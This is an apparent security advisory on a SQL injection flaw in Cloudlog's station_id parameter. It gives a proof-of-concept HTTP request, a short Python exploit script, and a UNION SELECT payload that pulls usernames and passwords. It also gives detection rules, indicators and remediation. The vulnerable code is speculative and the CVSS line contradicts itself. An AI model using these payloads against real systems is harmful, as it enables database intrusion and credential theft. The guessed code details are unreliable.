CVE-2024-45999

POC_DETAILS: SQL injection via station_id parameter in get_station_info() function in /application/models/Oqrs_model.php

Executive Summary

CVE-2024-45999 is a critical SQL Injection vulnerability discovered in Cloudlog version 2.6.15. The flaw resides in the get_station_info() function within the file /application/models/Oqrs_model.php. An attacker can exploit this vulnerability by injecting malicious SQL code through the station_id parameter, potentially leading to unauthorized data access, data manipulation, or complete database compromise. As of the latest analysis, no official patch has been released, and the vendor's patch status remains unknown. This vulnerability poses a significant threat to all instances running the affected version.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD, but based on vector: 9.8 Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the get_station_info() function of the Oqrs_model.php file. The station_id parameter is directly concatenated into a SQL query without proper sanitization or parameterization. This allows an attacker to break out of the intended SQL syntax and execute arbitrary SQL commands.

Vulnerable Code Path: The function likely constructs a query similar to:

$query = $this->db->query("SELECT * FROM stations WHERE station_id = " . $station_id);

Where $station_id is taken directly from user input (e.g., GET or POST parameter).

Exploitation Mechanics: An attacker can supply a value like 1 UNION SELECT username, password FROM users -- to retrieve sensitive data from other tables. The injection point is in the WHERE clause, making it easy to extract data using UNION-based or error-based techniques.

Vulnerable vs. Patched Code

Vulnerable Code (Cloudlog 2.6.15):

// /application/models/Oqrs_model.php
public function get_station_info($station_id) {
    $query = $this->db->query("SELECT * FROM stations WHERE station_id = " . $station_id);
    return $query->result();
}

Patched Code (Hypothetical Fix):

// /application/models/Oqrs_model.php
public function get_station_info($station_id) {
    $query = $this->db->query("SELECT * FROM stations WHERE station_id = ?", array($station_id));
    return $query->result();
}

The fix uses parameterized queries (prepared statements) to separate SQL logic from data, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC): The following HTTP request demonstrates the vulnerability:

GET /index.php/oqrs/get_station_info?station_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- HTTP/1.1
Host: target-cloudlog-instance.com

Automated Exploit (Python):

import requests

target = "http://target-cloudlog-instance.com/index.php/oqrs/get_station_info"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--"

r = requests.get(target, params={"station_id": payload})
print(r.text)

Blue Team (Detection & Defense)

Detection Strategy:

• Monitor for SQL error messages in logs (e.g., "You have an error in your SQL syntax").
• Alert on unusual station_id parameter values containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Defense Measures:

• Immediately upgrade to a patched version if available.
• Apply virtual patching via WAF.
• Restrict database user privileges to least privilege.
• Enable detailed logging for all database queries.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /index.php/oqrs/get_station_info with station_id parameter containing SQL syntax.
• Outbound database connections from the web server to unexpected IPs (data exfiltration).

File IOCs:

• Modified Oqrs_model.php file (if attacker attempts to backdoor).
• Suspicious files in /application/models/ directory.

Log IOCs:

• Database error logs containing SQL syntax errors.
• Web server access logs with UNION, SELECT, OR 1=1 patterns.

Detection Engineering

YARA Rule

rule CVE_2024_45999_SQLi_Cloudlog {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-45999 in Cloudlog"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45999"
    strings:
        $sqli1 = "station_id=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "OR 1=1" nocase
        $sqli5 = "--" nocase
    condition:
        all of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-45999 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Cloudlog get_station_info endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'station_id='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in station names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-45999 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/index.php/oqrs/get_station_info"; http_uri; content:"station_id="; http_uri; pcre:"/UNION.+SELECT/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected Cloudlog instances from the internet if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version of Cloudlog once available.
• If no patch is released, manually fix the code by replacing direct string concatenation with parameterized queries in Oqrs_model.php.
• Conduct a full security audit of the application.

Workaround:

• Disable the get_station_info endpoint if not essential.
• Implement input validation to allow only numeric values for station_id.

Valters IT